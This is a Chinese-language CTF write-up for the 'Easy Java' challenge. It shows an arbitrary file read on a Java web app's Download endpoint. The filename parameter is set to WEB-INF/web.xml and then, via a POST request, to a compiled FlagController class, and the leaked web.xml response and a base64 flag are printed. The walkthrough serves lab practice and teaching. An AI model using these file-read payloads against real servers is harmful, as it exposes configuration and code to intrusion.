[咆哮CTF 2019]Easy Java
一,启动靶机

1.访问所给的靶机网址我这里是:http://e04ecfe9-f338-4710-a397-b75683c14f03.node5.buuoj.cn:81/
如图:
2.这里我们先看到题目是Easy Java说明是对于java相关web方面的漏洞
二.寻找突破口
1.访问网站之后会给出一个登入的界面,这时候我们需要收集信息了,尝试去点击那个关于help的链接,看看他会跳转到什么URL上
2.这里我们进行点击之后发现是一行报错的字段(提示找不到文件)

3.看到这里直接就向我们暴露了两个问题:
-
后台确实是用 Java 的文件输入流在读取文件。
-
网站存在任意文件读取/下载漏洞
这里既然找不到help.docx,说明它运行的目录或者相对路径和咱们想的可能不太一样。这时候我们需要找到核心突破口,这道ctf题既然是Java web就可以知道他的核心永远都是WEB-INF/web.xml
4.我们这时候可以尝试在URL框中直接修改一下参数,直接将filename参数改为WEB-INF/web.xmlhttp://e04ecfe9-f338-4710-a397-b5683c14f033.node5.buuoj.cn:81/Download?filename=WEB-INF/web.xml
尝试修改参数后可能还是返回参数报错,依旧是无法找到该文件。这时候想要运用绝对路径再次进行修改.
filename=/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
进行了上述代码最终发现还是报错
三.修改请求参数(将GET传参该为POST传参)
有些题目在代码里对 GET 方法读取敏感文件做了限制,或者只允许通过 POST 传入参数。
1.使用Burp Suite进行抓包将传参方式由get改为post传参
2.在修改filename=WEB-INF/web.xml后直接进行send

我们对右边的Response进行观察可以发现(完整的如下)
HTTP/1.1 200
Server: openresty
Date: Tue, 19 May 2026 05:31:30 GMT
Content-Type: application/xml
Connection: close
Vary: Accept-Encoding
Content-Disposition: attachment;filename=WEB-INF/web.xml
Cache-Control: no-cache
Content-Length: 1562
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
这里我们可以看到有关于flag的相关的代码字段,里面藏着一个我们需要的一个中级目标:com.wm.ctf.FlagController。在 Java Web 目录结构中,编译后的类文件都在 WEB-INF/classes/ 路径下。
3.这里我们需要将原先的filename进行修改:
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

6.之后观察右边的Response,可以找到如下字段这是一段base64加密后的flag
Flagename:ZmxhZ3swYzhiMTAyOS1jNTI0LTRlOTUtODkzMi04OGIxYWQ5MDNlYzl9Cg==
7.这个就是我们需要找到的flag,拿这个加密后的flag去对应的网站进行解密然后就可以得到flag了

自此该题目就得到了解决。
更多推荐

所有评论(0)